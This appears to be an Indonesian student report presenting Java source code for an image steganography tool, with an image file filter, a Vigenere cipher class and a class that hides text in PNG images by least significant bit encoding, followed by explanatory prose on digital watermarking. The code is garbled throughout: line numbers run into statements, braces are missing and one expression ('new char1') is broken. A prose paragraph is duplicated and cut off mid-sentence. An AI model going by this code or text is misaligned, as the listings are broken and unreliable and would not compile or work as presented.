14 return (ext.equals("jpg")||ext.equals("png"));
public boolean accept(File f)
18 if (f.isDirectory())
String extension = getExtension(f); if (extension.equals("jpg")||extension.equals("png")) {
return true;
return false;
public String getDescription() {
return "Supported Image Files";
protected static String getExtension(File f) { String s = f.getName();
int i = s.lastIndexOf('.');
if (i > 0 && i < s.length() - 1) return s.substring(i+1).toLowerCase(); return "";
2. Class ViginareCipher.java Class ini digunakan untuk meng-encrypt text yang akan disimpan ke dalam media penyimpanan.
Source Code : 001 002 003
package stegano.gun;
import java.util.Vector;
public class VigenereCipher {
private static final char[] alphnum = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '@','?','#','-','+','!','$','%','&','*','(',')','_','+','=', '.',',',';',':','"','\'','}','{','\\','/','^','<','>','[',']', '^','|','`','~'
private static final int dim = alphnum.length; private char[][] vgnrSquare = new char[alphnum.length][alphnum.length]; private Vector<Character> alphnumv = new Vector<Character>();
public VigenereCipher() { init();
/* copy contents of alphum array to alphnumv vector to exploit indexOf method */
for(int i = 0; i < dim; i++) { alphnumv.add(alphnum[i]);
* Initializes the contents of the Vigenere Square using the given alphanumeric set. */
public void init() {
029 /* Fill up the upper left triangle */ 030
for(int i = 0; i < dim; i++) {
for(int j = i; j < dim; j++) {
if(i == 0) { 032
vgnrSquare[i][j] = alphnum[j];
vgnrSquare[i][j-i] = alphnum[j];
038 /* Fill up the remaining cells */ 039
for(int i = 1; i < dim; i++) {
int k = 0; // always start from the first element of the set
for(int j = dim-i; j < dim; j++) {
vgnrSquare[i][j] = alphnum[k]; 043 k++;
048 /** * Encrypts the given plaintext using the specified key.
049 * @param plaintext the text to be encrypted 050
* @param key the encryption key 051
public String encrypt(String plaintext, String key) {
if(keyHasSpace(key) || key.length() == 0) { 053 System.out.println("\nKey cannot contain a space!\n");
return null;
} else if(plaintext.length() == 0) {
056 System.out.println("\nNothing to encrypt!\n"); 057
return null;
} else {
char[] ciphertext = new char[plaintext.length()];
059 key = generateKey(plaintext, key); // update key 060
for(int i = 0; i < ciphertext.length; i++) {
062 int row = alphnumv.indexOf(Character.toUpperCase(key.charAt(i))); 063
int col = alphnumv.indexOf(Character.toUpperCase(plaintext.charAt(i)));
064 if(plaintext.charAt(i) == ' ') {
ciphertext[i] = ' ';
} else if(plaintext.charAt(i) == '\n') {
ciphertext[i] = '\n';
} else if(plaintext.charAt(i) == '\t') {
ciphertext[i] = '\t';
069 } else{ 070
ciphertext[i] = vgnrSquare[row][col]; // encryption
/* retain case
if(Character.isLowerCase(plaintext.charAt(i))) {
073 ciphertext[i] = Character.toLowerCase(ciphertext[i]); 074
System.out.println("\nPlaintext: " + plaintext);
System.out.println("Key: " + key);
return (new String(ciphertext));
/** 083 * Decrypts the given ciphertext using the specified key.
084 * @param ciphertext the text to be decrypted 085
* @param key the decryption key 086
*/ public String decrypt(String ciphertext, String key) { 087 if(keyHasSpace(key) || key.length() == 0) {
088 System.out.println("\nKey cannot contain a space!\n"); 089
return null;
} else if(ciphertext.length() == 0) {
091 System.out.println("\nNothing to decrypt!\n");
return null;
char[] plaintext = new char[ciphertext.length()];
095 key = generateKey(ciphertext, key); // update key 096 097
for(int i = 0; i < plaintext.length; i++) {
098 int row = alphnumv.indexOf(Character.toUpperCase(key.charAt(i)));
int col = alphnumv.indexOf(Character.toUpperCase(ciphertext.charAt(i))); 099
100 if(ciphertext.charAt(i) == ' ') { 101
plaintext[i] = ' ';
} else if(ciphertext.charAt(i) == '\n') {
plaintext[i] = '\n';
} else if(ciphertext.charAt(i) == '\t') {
plaintext[i] = '\t';
106 }else{ int x = (col - row) % dim; // decryption algebraic approach
if(x >= 0) {
109 plaintext[i] = alphnumv.elementAt(x).toString().charAt(0); 110
} else {
plaintext[i] = alphnumv.elementAt(dim+x).toString().charAt(0); }
/* retain case
if(Character.isLowerCase(ciphertext.charAt(i))) {*/
115 plaintext[i] = Character.toLowerCase(plaintext[i]); 116
System.out.println("\nCiphertext: " + ciphertext);
System.out.println("Key: " + key);
return (new String(plaintext));
* Generates the repeating key. 126
* @param text the plaintext/ciphertext which serves as the basis for the key's length * @param key the initial, non-repeating key
127 * @return newKey - the new (repeating) key 128
public String generateKey(String text, String key) {
char[] newKey = new char1;
int repeatFlag = 0;
for(int i = 0; i < newKey.length; i++) {
133 if(text.charAt(i) == ' ') { 134
newKey[i] = ' '; 135
} else {
136 newKey[i] = key.charAt(repeatFlag); 137
if(repeatFlag+1 == key.length()) { 138
return new String(newKey);
* Checks whether the inputted key contains a space.
* @param key the key to be scanned * @return answer - boolean value
public boolean keyHasSpace(String key) {
boolean answer = false;
for(int i = 0; i < key.length(); i++) {
155 if(key.charAt(i) == ' ') {
answer = true; 156
return answer;
* Prints the Vigenere Square. 164
public void print() {
System.out.println(); 166
for(int i = 0; i < dim; i++) {
for(int j = 0; j < dim; j++) {
169 System.out.print(vgnrSquare[i][j] + " "); 170
171 if(j == dim-1) { 172
System.out.println(); }
3. Class Steganography.java Class ini digunakan untuk menyisipkan pesan pada gambar menggunakan metode Least Significant Bit (LSB)
Source Code : 001
package stegano.gun;
import java.io.File;
import java.awt.Graphics2D;
import java.awt.image.BufferedImage;
import java.awt.image.WritableRaster;
import java.awt.image.DataBufferByte;
import javax.imageio.ImageIO;
import javax.swing.JOptionPane;
public class Steganography
public Steganography()
public String encrypt(String text, String key){ 017 char[] karakter=text.toCharArray();
018 String cipherText=""; 019
for(int j=0;j<karakter.length;j++){
020 key+=j+2; 021
for(int i=0;i<karakter.length;i++){
022 cipherText+=(char)(((128+(karakter[i])+(key.charAt(i)))%128)); 023
return cipherText;
public String Decrypt(String text, String key1){
028 char[] karakter=text.toCharArray();
029 String cipherText=""; 030
for(int j=0;j<karakter.length;j++){
031 key1+=j+2; 032
for(int i=0;i<karakter.length;i++){
033 cipherText+=(char)(((128+(karakter[i])-(key1.charAt(i)))%128)); 034
return cipherText;
039 public boolean encode(String path, String original, String ext1, String stegan, String message) {
040 String file_name = image_path(path,original,ext1); 041
BufferedImage image_orig = getImage(file_name); 042
043 //user space is not necessary for Encrypting 044
BufferedImage image = user_space(image_orig); image = add_text(image,message);
046 return(setImage(image,new File(image_path(path,stegan,"png")),"png")); 047
public String decode(String path, String name)
byte[] decode; try
//user space is necessary for decrypting
BufferedImage image = user_space(getImage(image_path(path,name,"png")));
decode = decode_text(get_byte_data(image));
return(new String(decode));
catch(Exception e)
JOptionPane.showMessageDialog(null,
"Tidak ada pesan yang tersembunyi di dalam gambar yang dipilih","Error",
JOptionPane.ERROR_MESSAGE);
private String image_path(String path, String name, String ext)
return path + "/" + name + "." + ext;
private BufferedImage getImage(String f)
070 { BufferedImage image = null;
File file = new File(f);
image = ImageIO.read(file); 076
} catch(Exception ex)
JOptionPane.showMessageDialog(null,
"Gambar Tidak dapat Dibaca!","Error",JOptionPane.ERROR_MESSAGE);
return image;
private boolean setImage(BufferedImage image, File file, String ext)
try 085
{ file.delete(); //delete resources used by the File
ImageIO.write(image,ext,file);
return true;
catch(Exception e) {
JOptionPane.showMessageDialog(null,
"Gambar Tidak dapat Disimpan!","Error",JOptionPane.ERROR_MESSAGE);
return false;
private BufferedImage add_text(BufferedImage image, String text)
//convert all items to byte arrays: image, message, message length
byte img[] = get_byte_data(image);
byte msg[] = text.getBytes();
byte len[] = bit_conversion(msg.length); 100 try
encode_text(img, len, 0); //0 first positiong
encode_text(img, msg, 32); //4 bytes of space for length: 4bytes*8bit = 32 bits
104 } catch(Exception e)
JOptionPane.showMessageDialog(null,
107 "Target File cannot hold message!", "Error",JOptionPane.ERROR_MESSAGE); 108
return image;
private BufferedImage user_space(BufferedImage image)
//create new_img with the attributes of image 113
BufferedImage new_img = new BufferedImage(image.getWidth(), image.getHeight(), BufferedImage.TYPE_3BYTE_BGR); 114
Graphics2D graphics = new_img.createGraphics(); 115
graphics.drawRenderedImage(image, null); graphics.dispose(); //release all allocated memory for this image
return new_img;
private byte[] get_byte_data(BufferedImage image)
WritableRaster raster = image.getRaster(); DataBufferByte buffer = (DataBufferByte)raster.getDataBuffer();
return buffer.getData();
private byte[] bit_conversion(int i)
125 { //originally integers (ints) cast into bytes 126 //byte byte7 = (byte)((i & 0xFF00000000000000L) >>> 56);
127 //byte byte6 = (byte)((i & 0x00FF000000000000L) >>> 48); 128
//byte byte5 = (byte)((i & 0x0000FF0000000000L) >>> 40); 129
//byte byte4 = (byte)((i & 0x000000FF00000000L) >>> 32); 130
131 //only using 4 bytes
byte byte3 = (byte)((i & 0xFF000000) >>> 24); //0
byte byte2 = (byte)((i & 0x00FF0000) >>> 16); //0
byte byte1 = (byte)((i & 0x0000FF00) >>> 8 ); //0
byte byte0 = (byte)((i & 0x000000FF) );
135 //{0,0,0,byte0} is equivalent, since all shifts >=8 will be 0 136
return(new byte[]{byte3,byte2,byte1,byte0});
private byte[] encode_text(byte[] image, byte[] addition, int offset)
//check that the data + offset will fit in the image 141
if(addition.length + offset > image.length) {
throw new IllegalArgumentException("File not long enough!");
//loop through each addition byte 145
for(int i=0; i<addition.length; ++i)
146 { //loop through the 8 bits of each byte
int add = addition[i];
148 for(int bit=7; bit>=0; --bit, ++offset) //ensure the new offset value carries on through both loops 149
//assign an integer to b, shifted by bit spaces AND 1
//a single bit of the current byte
int b = (add >>> bit) & 1;
//assign the bit by taking: [(previous byte value) AND 0xfe] OR bit to add
//changes the last bit of the byte in the image to be the bit of addition
154 image[offset] = (byte)((image[offset] & 0xFE) | b ); 155
return image;
private byte[] decode_text(byte[] image)
int length = 0;
int offset = 32;
162 //loop through 32 bytes of data to determine text length 163
for(int i=0; i<32; ++i) //i=24 will also work, as only the 4th byte contains real data 164
length = (length << 1) | (image[i] & 1); }
byte[] result = new byte[length];
169 //loop through each byte of text 170
for(int b=0; b<result.length; ++b )
//loop through each bit within a byte of text
for(int i=0; i<8; ++i, ++offset)
//assign bit: [(new byte value) << 1] OR [(text byte) AND 1]
result[b] = (byte)((result[b] << 1) | (image[offset] & 1));
return result;
211 212 213 214
4. Desain Halaman Encode dan Halaman Decode
Berikut Desain Halaman Encode:
Berikut Desain Halaman Decode:
Hasil Uji Coba Encode :
UjiCobaDecode:
WATERMAKING
Watermarking merupakan suatu bentuk dari steganography (Ilmu yang mempelajari bagaimana menyembunyikan suatu data pada data yang lain), dalam mempelajari teknik-teknik bagaimana penyimpanan suatu data (digital) kedalam data host digital yang lain (Istilah host digunakan untuk data / sinyal digital yang ditumpangi), tetapi orang lain tidak menyadari kehadiran adanya data tambahan pada data host-nya. Jadi seolah-olah tidak ada perbedaan antara data host sebelum dan sesudah proses watermarking. Disamping itu data yang ter-watermark harus tahan (robust) terhadap serangan-serangan baik secara sengaja maupun tidak sengaja untuk menghilangkan data watermark yang terdapat didalamnya. Watermark juga harus tahan terhadap berbagai jenis pengolahan / proses digital yang tidak merusak kualitas data yang ter-watermark. Dengan pengertian yang sama maka watermarking digital dapat diartikan sebuah sinyal yang disisipkan pada suatu data digital (audio, video, citra maupun teks) sedemikian hingga dapat dideteksi atau diekstraksi kemudian tanpa merubah / menghilangkan fungsi utama dari data digital yang disisipi. Beberapa istilah yang sering digunakan dalam watermarking adalah watermark, host, dan watermarked media. Watermark merupakan sinyal yang disisipkan, host adalah istilah untuk media digital yang disisipi, sedangkan watermarked media adalah media yang telah disisipi watermark.
Watermarking (tanda air) ini agak berbeda dengan tanda air pada uang kertas. Tanda air pada uang kertas masih dapat kelihatan oleh mata telanjang manusia (mungkin dalam posisi kertas yang tertentu), tetapi watermarking pada media digital disini dimaksudkan tak akan dirasakan kehadirannya oleh manusia tanpa alat bantu mesin pengolah digital seperti komputer, dan sejenisnya. Steganography berbeda dengan cryptography, letak perbedaannya adalah hasil keluarannya. Hasil dari cryptography biasanya berupa data yang berbeda dari bentuk aslinya dan biasanya datanya seolah-olah berantakan (tetapi dapat dikembalikan ke bentuk semula) sedangkan hasil keluaran dari steganography ini memiliki bentuk persepsi yang sama dengan bentuk aslinya, tentunya persepsi disini oleh indera manusia, tetapi tidak oleh komputer atau perangkat pengolah digital lainnya.
Watermarking ini memanfaatkan kekurangan-kekurangan sistem indera manusia seperti mata dan telinga. Dengan adanya kekurangan inilah, metoda watermarking ini dapat diterapkan pada berbagai media digital. Jadi watermarking merupakan suatu cara untuk penyembunyian atau penanaman data / informasi tertentu (baik hanya berupa catatan umum maupun rahasia) kedalam suatu data digital lainnya, tetapi tidak diketahui kehadirannya oleh indera manusia (indera penglihatan atau indera pendengaran), dan mampu menghadapi proses proses pengolahan sinyal digital sampai pada tahap tertentu. Teknologi yang semakin maju memunculkan fenomena-fenomena baru yang berkembang di masyarakat, salah satunya adalah citra digital. Pengguna citra digital seringkali melakukan manipulasi pada suatu citra digital untuk mendapatkan tampilan Watermarking ini memanfaatkan kekurangan-kekurangan sistem indera manusia seperti mata dan telinga. Dengan adanya kekurangan inilah, metoda watermarking ini dapat diterapkan pada berbagai media digital. Jadi watermarking merupakan suatu cara untuk penyembunyian atau penanaman data / informasi tertentu (baik hanya berupa catatan umum maupun rahasia) kedalam suatu data digital lainnya, tetapi tidak diketahui kehadirannya oleh indera manusia (indera penglihatan atau indera pendengaran), dan mampu menghadapi proses proses pengolahan sinyal digital sampai pada tahap tertentu. Teknologi yang semakin maju memunculkan fenomena-fenomena baru yang berkembang di masyarakat, salah satunya adalah citra digital. Pengguna citra digital seringkali melakukan manipulasi pada suatu citra digital untuk mendapatkan tampilan
1. Watermarking Digital Watermarking digital merupakan teknologi untuk memberikan dan membuktikan hak kepemilikan atas karya digital, mendeteksi copy yang sah, mengotrol penggunaan data yang sah dan menganalisis penyebaran data melalui jaringan dan server. Tujuan utama mengenai watermarking digital dalam paper ini adalah merancang sebuah algoritma yang bisa digunakan untuk semua jenis video dan dapat menyisipkan (embed) semu jenis kode informasi, terutama kode binary, dalam hal ini words Pada watermarking, label atau kode yang disisipkan ke dalam data multimedia harus unik yang mengidentifikasikan pemegang hak cipta dan label tersebut sulit untuk dihapus bahkan setelah beberapa kali transformasi data. Jadi keberadaan data (label) di dalam produk harus dijaga. Teknik pelabelan bertujuan untuk memberikan keamanan dan kekuatan (robustness) label yang disisipkan terhadap usaha-usaha sebagai berikut : pendeteksian lokasi data yang disisipkan, menemukan dan mengubah label yang disisipkan, perusakan atau penghapusan label yang disisipkan. Semua tranformasi pada frames dapat menimbulkan kerusakan pada informasi yang disisipkan dan informasi tersebut tidak dapat ditemukan kembali oleh pemiliknya.
2. Rahasia di Dalam Gambar Digital Banyak cara untuk menyembunyikan informasi di dalam gambar. Untuk menyembunyikan informasi, penyisipan pesan yang langsung dapat meng-enkode setiap bit dari informasi dalam gambar atau menempelkan pesan secara selektif dalam area noisy, menggambarkan area yang kurang diperhatikan, dimana ada banyak variasi warna natural. Pesan dapat juga terserak secara acak sepanjang gambar. Pola redundansi encoding “wallpapers” menutup gambar dengan pesan. Sejumlah cara yang ada untuk menyembunyikan informasi dalam gambar digital dengan pendekatan yang umum termasuk : - penyisipan least significant bit - masking dan filtering, dan - algoritma dan transformasi. Setiap teknik-teknik itu dapat diaplikasikan dengan derajat kesuksesan yang bervariasi pada file gambar yang berbeda.